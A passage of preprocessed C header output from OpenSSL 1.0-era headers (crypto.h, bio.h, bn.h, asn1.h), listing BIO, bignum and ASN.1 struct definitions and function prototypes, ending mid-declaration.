"/usr/include/openssl/crypto.h" 3 4 >void CRYPTO_dbg_set_options(long bits); >long CRYPTO_dbg_get_options(void); > > > >void CRYPTO_mem_leaks_fp(FILE *); > >void CRYPTO_mem_leaks(struct bio_st *bio); > >typedef void *CRYPTO_MEM_LEAK_CB(unsigned long, const char *, int, int, void *); >void CRYPTO_mem_leaks_cb(CRYPTO_MEM_LEAK_CB *cb); > > >void OpenSSLDie(const char *file,int line,const char *assertion); > > >unsigned long *OPENSSL_ia32cap_loc(void); > >int OPENSSL_isservice(void); > >int FIPS_mode(void); >int FIPS_mode_set(int r); > >void OPENSSL_init(void); ># 582 "/usr/include/openssl/crypto.h" 3 4 >int CRYPTO_memcmp(const void *a, const void *b, size_t len); > > > > > >void ERR_load_CRYPTO_strings(void); ># 70 "/usr/include/openssl/bio.h" 2 3 4 ># 231 "/usr/include/openssl/bio.h" 3 4 >typedef struct bio_st BIO; > >void BIO_set_flags(BIO *b, int flags); >int BIO_test_flags(const BIO *b, int flags); >void BIO_clear_flags(BIO *b, int flags); ># 285 "/usr/include/openssl/bio.h" 3 4 >long (*BIO_get_callback(const BIO *b)) (struct bio_st *,int,const char *,int, long,long); >void BIO_set_callback(BIO *b, > long (*callback)(struct bio_st *,int,const char *,int, long,long)); >char *BIO_get_callback_arg(const BIO *b); >void BIO_set_callback_arg(BIO *b, char *arg); > >const char * BIO_method_name(const BIO *b); >int BIO_method_type(const BIO *b); > >typedef void bio_info_cb(struct bio_st *, int, const char *, int, long, long); > >typedef struct bio_method_st > { > int type; > const char *name; > int (*bwrite)(BIO *, const char *, int); > int (*bread)(BIO *, char *, int); > int (*bputs)(BIO *, const char *); > int (*bgets)(BIO *, char *, int); > long (*ctrl)(BIO *, int, long, void *); > int (*create)(BIO *); > int (*destroy)(BIO *); > long (*callback_ctrl)(BIO *, int, bio_info_cb *); > } BIO_METHOD; > >struct bio_st > { > BIO_METHOD *method; > > long (*callback)(struct bio_st *,int,const char *,int, long,long); > char *cb_arg; > > int init; > int shutdown; > int flags; > int retry_reason; > int num; > void *ptr; > struct bio_st *next_bio; > struct bio_st *prev_bio; > int references; > unsigned long num_read; > unsigned long num_write; > > CRYPTO_EX_DATA ex_data; > }; > >struct stack_st_BIO { _STACK stack; }; > >typedef struct bio_f_buffer_ctx_struct > { ># 346 "/usr/include/openssl/bio.h" 3 4 > int ibuf_size; > int obuf_size; > > char *ibuf; > int ibuf_len; > int ibuf_off; > > char *obuf; > int obuf_len; > int obuf_off; > } BIO_F_BUFFER_CTX; > > >typedef int asn1_ps_func(BIO *b, unsigned char **pbuf, int *plen, void *parg); ># 574 "/usr/include/openssl/bio.h" 3 4 >size_t BIO_ctrl_pending(BIO *b); >size_t BIO_ctrl_wpending(BIO *b); ># 593 "/usr/include/openssl/bio.h" 3 4 >size_t BIO_ctrl_get_write_guarantee(BIO *b); >size_t BIO_ctrl_get_read_request(BIO *b); >int BIO_ctrl_reset_read_request(BIO *b); ># 614 "/usr/include/openssl/bio.h" 3 4 >int BIO_set_ex_data(BIO *bio,int idx,void *data); >void *BIO_get_ex_data(BIO *bio,int idx); >int BIO_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, > CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); >unsigned long BIO_number_read(BIO *bio); >unsigned long BIO_number_written(BIO *bio); > > >int BIO_asn1_set_prefix(BIO *b, asn1_ps_func *prefix, > asn1_ps_func *prefix_free); >int BIO_asn1_get_prefix(BIO *b, asn1_ps_func **pprefix, > asn1_ps_func **pprefix_free); >int BIO_asn1_set_suffix(BIO *b, asn1_ps_func *suffix, > asn1_ps_func *suffix_free); >int BIO_asn1_get_suffix(BIO *b, asn1_ps_func **psuffix, > asn1_ps_func **psuffix_free); > > >BIO_METHOD *BIO_s_file(void ); >BIO *BIO_new_file(const char *filename, const char *mode); >BIO *BIO_new_fp(FILE *stream, int close_flag); > > >BIO * BIO_new(BIO_METHOD *type); >int BIO_set(BIO *a,BIO_METHOD *type); >int BIO_free(BIO *a); >void BIO_vfree(BIO *a); >int BIO_read(BIO *b, void *data, int len); >int BIO_gets(BIO *bp,char *buf, int size); >int BIO_write(BIO *b, const void *data, int len); >int BIO_puts(BIO *bp,const char *buf); >int BIO_indent(BIO *b,int indent,int max); >long BIO_ctrl(BIO *bp,int cmd,long larg,void *parg); >long BIO_callback_ctrl(BIO *b, int cmd, void (*fp)(struct bio_st *, int, const char *, int, long, long)); >char * BIO_ptr_ctrl(BIO *bp,int cmd,long larg); >long BIO_int_ctrl(BIO *bp,int cmd,long larg,int iarg); >BIO * BIO_push(BIO *b,BIO *append); >BIO * BIO_pop(BIO *b); >void BIO_free_all(BIO *a); >BIO * BIO_find_type(BIO *b,int bio_type); >BIO * BIO_next(BIO *b); >BIO * BIO_get_retry_BIO(BIO *bio, int *reason); >int BIO_get_retry_reason(BIO *bio); >BIO * BIO_dup_chain(BIO *in); > >int BIO_nread0(BIO *bio, char **buf); >int BIO_nread(BIO *bio, char **buf, int num); >int BIO_nwrite0(BIO *bio, char **buf); >int BIO_nwrite(BIO *bio, char **buf, int num); > >long BIO_debug_callback(BIO *bio,int cmd,const char *argp,int argi, > long argl,long ret); > >BIO_METHOD *BIO_s_mem(void); >BIO *BIO_new_mem_buf(void *buf, int len); >BIO_METHOD *BIO_s_socket(void); >BIO_METHOD *BIO_s_connect(void); >BIO_METHOD *BIO_s_accept(void); >BIO_METHOD *BIO_s_fd(void); > >BIO_METHOD *BIO_s_log(void); > >BIO_METHOD *BIO_s_bio(void); >BIO_METHOD *BIO_s_null(void); >BIO_METHOD *BIO_f_null(void); >BIO_METHOD *BIO_f_buffer(void); > > > >BIO_METHOD *BIO_f_nbio_test(void); > >BIO_METHOD *BIO_s_datagram(void); > > > > > > > >int BIO_sock_should_retry(int i); >int BIO_sock_non_fatal_error(int error); >int BIO_dgram_non_fatal_error(int error); > >int BIO_fd_should_retry(int i); >int BIO_fd_non_fatal_error(int error); >int BIO_dump_cb(int (*cb)(const void *data, size_t len, void *u), > void *u, const char *s, int len); >int BIO_dump_indent_cb(int (*cb)(const void *data, size_t len, void *u), > void *u, const char *s, int len, int indent); >int BIO_dump(BIO *b,const char *bytes,int len); >int BIO_dump_indent(BIO *b,const char *bytes,int len,int indent); > >int BIO_dump_fp(FILE *fp, const char *s, int len); >int BIO_dump_indent_fp(FILE *fp, const char *s, int len, int indent); > >struct hostent *BIO_gethostbyname(const char *name); ># 718 "/usr/include/openssl/bio.h" 3 4 >int BIO_sock_error(int sock); >int BIO_socket_ioctl(int fd, long type, void *arg); >int BIO_socket_nbio(int fd,int mode); >int BIO_get_port(const char *str, unsigned short *port_ptr); >int BIO_get_host_ip(const char *str, unsigned char *ip); >int BIO_get_accept_socket(char *host_port,int mode); >int BIO_accept(int sock,char **ip_port); >int BIO_sock_init(void ); >void BIO_sock_cleanup(void); >int BIO_set_tcp_ndelay(int sock,int turn_on); > >BIO *BIO_new_socket(int sock, int close_flag); >BIO *BIO_new_dgram(int fd, int close_flag); ># 740 "/usr/include/openssl/bio.h" 3 4 >BIO *BIO_new_fd(int fd, int close_flag); >BIO *BIO_new_connect(char *host_port); >BIO *BIO_new_accept(char *host_port); > >int BIO_new_bio_pair(BIO **bio1, size_t writebuf1, > BIO **bio2, size_t writebuf2); > > > > > >void BIO_copy_next_retry(BIO *b); ># 760 "/usr/include/openssl/bio.h" 3 4 >int BIO_printf(BIO *bio, const char *format, ...) > __attribute__((__format__(__printf__,2,3))); >int BIO_vprintf(BIO *bio, const char *format, va_list args) > __attribute__((__format__(__printf__,2,0))); >int BIO_snprintf(char *buf, size_t n, const char *format, ...) > __attribute__((__format__(__printf__,3,4))); >int BIO_vsnprintf(char *buf, size_t n, const char *format, va_list args) > __attribute__((__format__(__printf__,3,0))); > > > > > > >void ERR_load_BIO_strings(void); ># 76 "/usr/include/openssl/evp.h" 2 3 4 ># 94 "/usr/include/openssl/evp.h" 3 4 ># 1 "/usr/include/openssl/objects.h" 1 3 4 ># 65 "/usr/include/openssl/objects.h" 3 4 ># 1 "/usr/include/openssl/obj_mac.h" 1 3 4 ># 66 "/usr/include/openssl/objects.h" 2 3 4 ># 960 "/usr/include/openssl/objects.h" 3 4 ># 1 "/usr/include/openssl/asn1.h" 1 3 4 ># 63 "/usr/include/openssl/asn1.h" 3 4 ># 1 "/usr/include/openssl/e_os2.h" 1 3 4 ># 56 "/usr/include/openssl/e_os2.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 57 "/usr/include/openssl/e_os2.h" 2 3 4 ># 64 "/usr/include/openssl/asn1.h" 2 3 4 ># 74 "/usr/include/openssl/asn1.h" 3 4 ># 1 "/usr/include/openssl/bn.h" 1 3 4 ># 128 "/usr/include/openssl/bn.h" 3 4 ># 1 "/usr/include/openssl/e_os2.h" 1 3 4 ># 56 "/usr/include/openssl/e_os2.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 57 "/usr/include/openssl/e_os2.h" 2 3 4 ># 129 "/usr/include/openssl/bn.h" 2 3 4 ># 325 "/usr/include/openssl/bn.h" 3 4 >struct bignum_st > { > unsigned int *d; > int top; > > int dmax; > int neg; > int flags; > }; > > >struct bn_mont_ctx_st > { > int ri; > BIGNUM RR; > BIGNUM N; > BIGNUM Ni; > > unsigned int n0[2]; > > int flags; > }; > > > > >struct bn_recp_ctx_st > { > BIGNUM N; > BIGNUM Nr; > int num_bits; > int shift; > int flags; > }; > > >struct bn_gencb_st > { > unsigned int ver; > void *arg; > union > { > > void (*cb_1)(int, int, void *); > > int (*cb_2)(int, int, BN_GENCB *); > } cb; > }; > >int BN_GENCB_call(BN_GENCB *cb, int a, int b); ># 432 "/usr/include/openssl/bn.h" 3 4 >const BIGNUM *BN_value_one(void); >char * BN_options(void); >BN_CTX *BN_CTX_new(void); > >void BN_CTX_init(BN_CTX *c); > >void BN_CTX_free(BN_CTX *c); >void BN_CTX_start(BN_CTX *ctx); >BIGNUM *BN_CTX_get(BN_CTX *ctx); >void BN_CTX_end(BN_CTX *ctx); >int BN_rand(BIGNUM *rnd, int bits, int top,int bottom); >int BN_pseudo_rand(BIGNUM *rnd, int bits, int top,int bottom); >int BN_rand_range(BIGNUM *rnd, const BIGNUM *range); >int BN_pseudo_rand_range(BIGNUM *rnd, const BIGNUM *range); >int BN_num_bits(const BIGNUM *a); >int BN_num_bits_word(unsigned int); >BIGNUM *BN_new(void); >void BN_init(BIGNUM *); >void BN_clear_free(BIGNUM *a); >BIGNUM *BN_copy(BIGNUM *a, const BIGNUM *b); >void BN_swap(BIGNUM *a, BIGNUM *b); >BIGNUM *BN_bin2bn(const unsigned char *s,int len,BIGNUM *ret); >int BN_bn2bin(const BIGNUM *a, unsigned char *to); >BIGNUM *BN_mpi2bn(const unsigned char *s,int len,BIGNUM *ret); >int BN_bn2mpi(const BIGNUM *a, unsigned char *to); >int BN_sub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); >int BN_usub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); >int BN_uadd(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); >int BN_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); >int BN_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, BN_CTX *ctx); >int BN_sqr(BIGNUM *r, const BIGNUM *a,BN_CTX *ctx); > > > > >void BN_set_negative(BIGNUM *b, int n); > > > > > > >int BN_div(BIGNUM *dv, BIGNUM *rem, const BIGNUM *m, const BIGNUM *d, > BN_CTX *ctx); > >int BN_nnmod(BIGNUM *r, const BIGNUM *m, const BIGNUM *d, BN_CTX *ctx); >int BN_mod_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m, BN_CTX *ctx); >int BN_mod_add_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m); >int BN_mod_sub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m, BN_CTX *ctx); >int BN_mod_sub_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m); >int BN_mod_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, > const BIGNUM *m, BN_CTX *ctx); >int BN_mod_sqr(BIGNUM *r, const BIGNUM *a, const BIGNUM *m, BN_CTX *ctx); >int BN_mod_lshift1(BIGNUM *r, const BIGNUM *a, const BIGNUM *m, BN_CTX *ctx); >int BN_mod_lshift1_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *m); >int BN_mod_lshift(BIGNUM *r, const BIGNUM *a, int n, const BIGNUM *m, BN_CTX *ctx); >int BN_mod_lshift_quick(BIGNUM *r, const BIGNUM *a, int n, const BIGNUM *m); > >unsigned int BN_mod_word(const BIGNUM *a, unsigned int w); >unsigned int BN_div_word(BIGNUM *a, unsigned int w); >int BN_mul_word(BIGNUM *a, unsigned int w); >int BN_add_word(BIGNUM *a, unsigned int w); >int BN_sub_word(BIGNUM *a, unsigned int w); >int BN_set_word(BIGNUM *a, unsigned int w); >unsigned int BN_get_word(const BIGNUM *a); > >int BN_cmp(const BIGNUM *a, const BIGNUM *b); >void BN_free(BIGNUM *a); >int BN_is_bit_set(const BIGNUM *a, int n); >int BN_lshift(BIGNUM *r, const BIGNUM *a, int n); >int BN_lshift1(BIGNUM *r, const BIGNUM *a); >int BN_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,BN_CTX *ctx); > >int BN_mod_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > const BIGNUM *m,BN_CTX *ctx); >int BN_mod_exp_mont(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx); >int BN_mod_exp_mont_consttime(BIGNUM *rr, const BIGNUM *a, const BIGNUM *p, > const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *in_mont); >int BN_mod_exp_mont_word(BIGNUM *r, unsigned int a, const BIGNUM *p, > const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx); >int BN_mod_exp2_mont(BIGNUM *r, const BIGNUM *a1, const BIGNUM *p1, > const BIGNUM *a2, const BIGNUM *p2,const BIGNUM *m, > BN_CTX *ctx,BN_MONT_CTX *m_ctx); >int BN_mod_exp_simple(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > const BIGNUM *m,BN_CTX *ctx); > >int BN_mask_bits(BIGNUM *a,int n); > >int BN_print_fp(FILE *fp, const BIGNUM *a); > > >int BN_print(BIO *fp, const BIGNUM *a); > > > >int BN_reciprocal(BIGNUM *r, const BIGNUM *m, int len, BN_CTX *ctx); >int BN_rshift(BIGNUM *r, const BIGNUM *a, int n); >int BN_rshift1(BIGNUM *r, const BIGNUM *a); >void BN_clear(BIGNUM *a); >BIGNUM *BN_dup(const BIGNUM *a); >int BN_ucmp(const BIGNUM *a, const BIGNUM *b); >int BN_set_bit(BIGNUM *a, int n); >int BN_clear_bit(BIGNUM *a, int n); >char * BN_bn2hex(const BIGNUM *a); >char * BN_bn2dec(const BIGNUM *a); >int BN_hex2bn(BIGNUM **a, const char *str); >int BN_dec2bn(BIGNUM **a, const char *str); >int BN_asc2bn(BIGNUM **a, const char *str); >int BN_gcd(BIGNUM *r,const BIGNUM *a,const BIGNUM *b,BN_CTX *ctx); >int BN_kronecker(const BIGNUM *a,const BIGNUM *b,BN_CTX *ctx); >BIGNUM *BN_mod_inverse(BIGNUM *ret, > const BIGNUM *a, const BIGNUM *n,BN_CTX *ctx); >BIGNUM *BN_mod_sqrt(BIGNUM *ret, > const BIGNUM *a, const BIGNUM *n,BN_CTX *ctx); > > > >BIGNUM *BN_generate_prime(BIGNUM *ret,int bits,int safe, > const BIGNUM *add, const BIGNUM *rem, > void (*callback)(int,int,void *),void *cb_arg); >int BN_is_prime(const BIGNUM *p,int nchecks, > void (*callback)(int,int,void *), > BN_CTX *ctx,void *cb_arg); >int BN_is_prime_fasttest(const BIGNUM *p,int nchecks, > void (*callback)(int,int,void *),BN_CTX *ctx,void *cb_arg, > int do_trial_division); > > > >int BN_generate_prime_ex(BIGNUM *ret,int bits,int safe, const BIGNUM *add, > const BIGNUM *rem, BN_GENCB *cb); >int BN_is_prime_ex(const BIGNUM *p,int nchecks, BN_CTX *ctx, BN_GENCB *cb); >int BN_is_prime_fasttest_ex(const BIGNUM *p,int nchecks, BN_CTX *ctx, > int do_trial_division, BN_GENCB *cb); > >int BN_X931_generate_Xpq(BIGNUM *Xp, BIGNUM *Xq, int nbits, BN_CTX *ctx); > >int BN_X931_derive_prime_ex(BIGNUM *p, BIGNUM *p1, BIGNUM *p2, > const BIGNUM *Xp, const BIGNUM *Xp1, const BIGNUM *Xp2, > const BIGNUM *e, BN_CTX *ctx, BN_GENCB *cb); >int BN_X931_generate_prime_ex(BIGNUM *p, BIGNUM *p1, BIGNUM *p2, > BIGNUM *Xp1, BIGNUM *Xp2, > const BIGNUM *Xp, > const BIGNUM *e, BN_CTX *ctx, > BN_GENCB *cb); > >BN_MONT_CTX *BN_MONT_CTX_new(void ); >void BN_MONT_CTX_init(BN_MONT_CTX *ctx); >int BN_mod_mul_montgomery(BIGNUM *r,const BIGNUM *a,const BIGNUM *b, > BN_MONT_CTX *mont, BN_CTX *ctx); > > >int BN_from_montgomery(BIGNUM *r,const BIGNUM *a, > BN_MONT_CTX *mont, BN_CTX *ctx); >void BN_MONT_CTX_free(BN_MONT_CTX *mont); >int BN_MONT_CTX_set(BN_MONT_CTX *mont,const BIGNUM *mod,BN_CTX *ctx); >BN_MONT_CTX *BN_MONT_CTX_copy(BN_MONT_CTX *to,BN_MONT_CTX *from); >BN_MONT_CTX *BN_MONT_CTX_set_locked(BN_MONT_CTX **pmont, int lock, > const BIGNUM *mod, BN_CTX *ctx); > > > > > >BN_BLINDING *BN_BLINDING_new(const BIGNUM *A, const BIGNUM *Ai, BIGNUM *mod); >void BN_BLINDING_free(BN_BLINDING *b); >int BN_BLINDING_update(BN_BLINDING *b,BN_CTX *ctx); >int BN_BLINDING_convert(BIGNUM *n, BN_BLINDING *b, BN_CTX *ctx); >int BN_BLINDING_invert(BIGNUM *n, BN_BLINDING *b, BN_CTX *ctx); >int BN_BLINDING_convert_ex(BIGNUM *n, BIGNUM *r, BN_BLINDING *b, BN_CTX *); >int BN_BLINDING_invert_ex(BIGNUM *n, const BIGNUM *r, BN_BLINDING *b, BN_CTX *); > >unsigned long BN_BLINDING_get_thread_id(const BN_BLINDING *); >void BN_BLINDING_set_thread_id(BN_BLINDING *, unsigned long); > >CRYPTO_THREADID *BN_BLINDING_thread_id(BN_BLINDING *); >unsigned long BN_BLINDING_get_flags(const BN_BLINDING *); >void BN_BLINDING_set_flags(BN_BLINDING *, unsigned long); >BN_BLINDING *BN_BLINDING_create_param(BN_BLINDING *b, > const BIGNUM *e, BIGNUM *m, BN_CTX *ctx, > int (*bn_mod_exp)(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx), > BN_MONT_CTX *m_ctx); > > >void BN_set_params(int mul,int high,int low,int mont); >int BN_get_params(int which); > > >void BN_RECP_CTX_init(BN_RECP_CTX *recp); >BN_RECP_CTX *BN_RECP_CTX_new(void); >void BN_RECP_CTX_free(BN_RECP_CTX *recp); >int BN_RECP_CTX_set(BN_RECP_CTX *recp,const BIGNUM *rdiv,BN_CTX *ctx); >int BN_mod_mul_reciprocal(BIGNUM *r, const BIGNUM *x, const BIGNUM *y, > BN_RECP_CTX *recp,BN_CTX *ctx); >int BN_mod_exp_recp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > const BIGNUM *m, BN_CTX *ctx); >int BN_div_recp(BIGNUM *dv, BIGNUM *rem, const BIGNUM *m, > BN_RECP_CTX *recp, BN_CTX *ctx); ># 644 "/usr/include/openssl/bn.h" 3 4 >int BN_GF2m_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); > >int BN_GF2m_mod(BIGNUM *r, const BIGNUM *a, const BIGNUM *p); >int BN_GF2m_mod_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, > const BIGNUM *p, BN_CTX *ctx); >int BN_GF2m_mod_sqr(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > BN_CTX *ctx); >int BN_GF2m_mod_inv(BIGNUM *r, const BIGNUM *b, const BIGNUM *p, > BN_CTX *ctx); >int BN_GF2m_mod_div(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, > const BIGNUM *p, BN_CTX *ctx); >int BN_GF2m_mod_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, > const BIGNUM *p, BN_CTX *ctx); >int BN_GF2m_mod_sqrt(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > BN_CTX *ctx); >int BN_GF2m_mod_solve_quad(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, > BN_CTX *ctx); > > > > > > >int BN_GF2m_mod_arr(BIGNUM *r, const BIGNUM *a, const int p[]); > >int BN_GF2m_mod_mul_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, > const int p[], BN_CTX *ctx); >int BN_GF2m_mod_sqr_arr(BIGNUM *r, const BIGNUM *a, const int p[], > BN_CTX *ctx); >int BN_GF2m_mod_inv_arr(BIGNUM *r, const BIGNUM *b, const int p[], > BN_CTX *ctx); >int BN_GF2m_mod_div_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, > const int p[], BN_CTX *ctx); >int BN_GF2m_mod_exp_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, > const int p[], BN_CTX *ctx); >int BN_GF2m_mod_sqrt_arr(BIGNUM *r, const BIGNUM *a, > const int p[], BN_CTX *ctx); >int BN_GF2m_mod_solve_quad_arr(BIGNUM *r, const BIGNUM *a, > const int p[], BN_CTX *ctx); >int BN_GF2m_poly2arr(const BIGNUM *a, int p[], int max); >int BN_GF2m_arr2poly(const int p[], BIGNUM *a); > > > > > >int BN_nist_mod_192(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); >int BN_nist_mod_224(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); >int BN_nist_mod_256(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); >int BN_nist_mod_384(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); >int BN_nist_mod_521(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); > >const BIGNUM *BN_get0_nist_prime_192(void); >const BIGNUM *BN_get0_nist_prime_224(void); >const BIGNUM *BN_get0_nist_prime_256(void); >const BIGNUM *BN_get0_nist_prime_384(void); >const BIGNUM *BN_get0_nist_prime_521(void); > > > > > > >BIGNUM *bn_expand2(BIGNUM *a, int words); > >BIGNUM *bn_dup_expand(const BIGNUM *a, int words); ># 805 "/usr/include/openssl/bn.h" 3 4 >unsigned int bn_mul_add_words(unsigned int *rp, const unsigned int *ap, int num, unsigned int w); >unsigned int bn_mul_words(unsigned int *rp, const unsigned int *ap, int num, unsigned int w); >void bn_sqr_words(unsigned int *rp, const unsigned int *ap, int num); >unsigned int bn_div_words(unsigned int h, unsigned int l, unsigned int d); >unsigned int bn_add_words(unsigned int *rp, const unsigned int *ap, const unsigned int *bp,int num); >unsigned int bn_sub_words(unsigned int *rp, const unsigned int *ap, const unsigned int *bp,int num); > > >BIGNUM *get_rfc2409_prime_768(BIGNUM *bn); >BIGNUM *get_rfc2409_prime_1024(BIGNUM *bn); > > >BIGNUM *get_rfc3526_prime_1536(BIGNUM *bn); >BIGNUM *get_rfc3526_prime_2048(BIGNUM *bn); >BIGNUM *get_rfc3526_prime_3072(BIGNUM *bn); >BIGNUM *get_rfc3526_prime_4096(BIGNUM *bn); >BIGNUM *get_rfc3526_prime_6144(BIGNUM *bn); >BIGNUM *get_rfc3526_prime_8192(BIGNUM *bn); > >int BN_bntest_rand(BIGNUM *rnd, int bits, int top,int bottom); > > > > > >void ERR_load_BN_strings(void); ># 75 "/usr/include/openssl/asn1.h" 2 3 4 ># 165 "/usr/include/openssl/asn1.h" 3 4 >struct X509_algor_st; >struct stack_st_X509_ALGOR { _STACK stack; }; ># 175 "/usr/include/openssl/asn1.h" 3 4 >typedef struct asn1_ctx_st > { > unsigned char *p; > int eos; > int error; > int inf; > int tag; > int xclass; > long slen; > unsigned char *max; > unsigned char *q; > unsigned char **pp; > int line; > } ASN1_CTX; > >typedef struct asn1_const_ctx_st > { > const unsigned char *p; > int eos; > int error; > int inf; > int tag; > int xclass; > long slen; > const unsigned char *max; > const unsigned char *q; > const unsigned char **pp; > int line; > } ASN1_const_CTX; > > > > > > > >typedef struct asn1_object_st > { > const char *sn,*ln; > int nid; > int length; > const unsigned char *data; > int flags; > } ASN1_OBJECT; ># 238 "/usr/include/openssl/asn1.h" 3 4 >struct asn1_string_st > { > int length; > int type; > unsigned char *data; > > > > > long flags; > }; > > > > > > >typedef struct ASN1_ENCODING_st > { > unsigned char *enc; > long len; > int modified; > } ASN1_ENCODING; ># 271 "/usr/include/openssl/asn1.h" 3 4 >typedef struct asn1_string_table_st { > int nid; > long minsize; > long maxsize; > unsigned long mask; > unsigned long flags; >} ASN1_STRING_TABLE; > >struct stack_st_ASN1_STRING_TABLE { _STACK stack; }; ># 295 "/usr/include/openssl/asn1.h" 3 4 >typedef struct ASN1_TEMPLATE_st ASN1_TEMPLATE; >typedef struct ASN1_TLC_st ASN1_TLC; > >typedef struct ASN1_VALUE_st ASN1_VALUE; ># 362 "/usr/include/openssl/asn1.h" 3 4 >typedef void *d2i_of_void(void **,const unsigned char **,long); typedef int i2d_of_void(void *,unsigned char **); ># 402 "/usr/include/openssl/asn1.h" 3 4 >typedef const ASN1_ITEM ASN1_ITEM_EXP; ># 516 "/usr/include/openssl/asn1.h" 3 4 >struct stack_st_ASN1_INTEGER { _STACK stack; }; > > >struct stack_st_ASN1_GENERALSTRING { _STACK stack; }; > >typedef struct asn1_type_st > { > int type; > union { > char *ptr; > ASN1_BOOLEAN boolean; > ASN1_STRING * asn1_string; > ASN1_OBJECT * object; > ASN1_INTEGER * integer; > ASN1_ENUMERATED * enumerated; > ASN1_BIT_STRING * bit_string; > ASN1_OCTET_STRING * octet_string; > ASN1_PRINTABLESTRING * printablestring; > ASN1_T61STRING * t61string; > ASN1_IA5STRING * ia5string; > ASN1_GENERALSTRING * generalstring; > ASN1_BMPSTRING * bmpstring; > ASN1_UNIVERSALSTRING * universalstring; > ASN1_UTCTIME * utctime; > ASN1_GENERALIZEDTIME * generalizedtime; > ASN1_VISIBLESTRING * visiblestring; > ASN1_UTF8STRING * utf8string; > > > ASN1_STRING * set; > ASN1_STRING * sequence; > ASN1_VALUE * asn1_value; > } value; > } ASN1_TYPE; > >struct stack_st_ASN1_TYPE { _STACK stack; }; > > >typedef struct stack_st_ASN1_TYPE ASN1_SEQUENCE_ANY; > >ASN1_SEQUENCE_ANY *d2i_ASN1_SEQUENCE_ANY(ASN1_SEQUENCE_ANY **a, const unsigned char **in, long len); int i2d_ASN1_SEQUENCE_ANY(const ASN1_SEQUENCE_ANY *a, unsigned char **out); extern const ASN1_ITEM ASN1_SEQUENCE_ANY_it; >ASN1_SEQUENCE_ANY *d2i_ASN1_SET_ANY(ASN1_SEQUENCE_ANY **a, const unsigned char **in, long len); int i2d_ASN1_SET_ANY(const ASN1_SEQUENCE_ANY *a, unsigned char **out); extern const ASN1_ITEM ASN1_SET_ANY_it; > >typedef struct NETSCAPE_X509_st > { > ASN1_OCTET_STRING *header; > X509 *cert; > } NETSCAPE_X509; > > >typedef struct BIT_STRING_BITNAME_st { > int bitnum; > const char *lname; > const char *sname; >} BIT_STRING_BITNAME; ># 774 "/usr/include/openssl/asn1.h" 3 4 >ASN1_TYPE *ASN1_TYPE_new(void); void ASN1_TYPE_free(ASN1_TYPE *a); ASN1_TYPE *d2i_ASN1_TYPE(ASN1_TYPE **a, const unsigned char **in, long len); int i2d_ASN1_TYPE(ASN1_TYPE *a, unsigned char **out); extern const ASN1_ITEM ASN1_ANY_it; > >int ASN1_TYPE_get(ASN1_TYPE *a); >void ASN1_TYPE_set(ASN1_TYPE *a, int type, void *value); >int ASN1_TYPE_set1(ASN1_TYPE *a, int type, const void *value); >int ASN1_TYPE_cmp(ASN1_TYPE *a, ASN1_TYPE *b); > >ASN1_OBJECT * ASN1_OBJECT_new(void ); >void ASN1_OBJECT_free(ASN1_OBJECT *a); >int i2d_ASN1_OBJECT(ASN1_OBJECT *a,unsigned char **pp); >ASN1_OBJECT * c2i_ASN1_OBJECT(ASN1_OBJECT **a,const unsigned char **pp, > long length); >ASN1_OBJECT * d2i_ASN1_OBJECT(ASN1_OBJECT **a,const unsigned char **pp, > long length); > >extern const ASN1_ITEM ASN1_OBJECT_it; > >struct stack_st_ASN1_OBJECT { _STACK stack; }; > > >ASN1_STRING * ASN1_STRING_new(void); >void ASN1_STRING_free(ASN1_STRING *a); >int ASN1_STRING_copy(ASN1_STRING *dst, const ASN1_STRING *str); >ASN1_STRING * ASN1_STRING_dup(const ASN1_STRING *a); >ASN1_STRING * ASN1_STRING_type_new(int type ); >int ASN1_STRING_cmp(const ASN1_STRING *a, const ASN1_STRING *b); > > >int ASN1_STRING_set(ASN1_STRING *str, const void *data, int len); >void ASN1_STRING_set0(ASN1_STRING *str, void *data, int len); >int ASN1_STRING_length(const ASN1_STRING *x); >void ASN1_STRING_length_set(ASN1_STRING *x, int n); >int ASN1_STRING_type(ASN1_STRING *x); >unsigned char * ASN1_STRING_data(ASN1_STRING *x); > >ASN1_BIT_STRING *ASN1_BIT_STRING_new(void); void 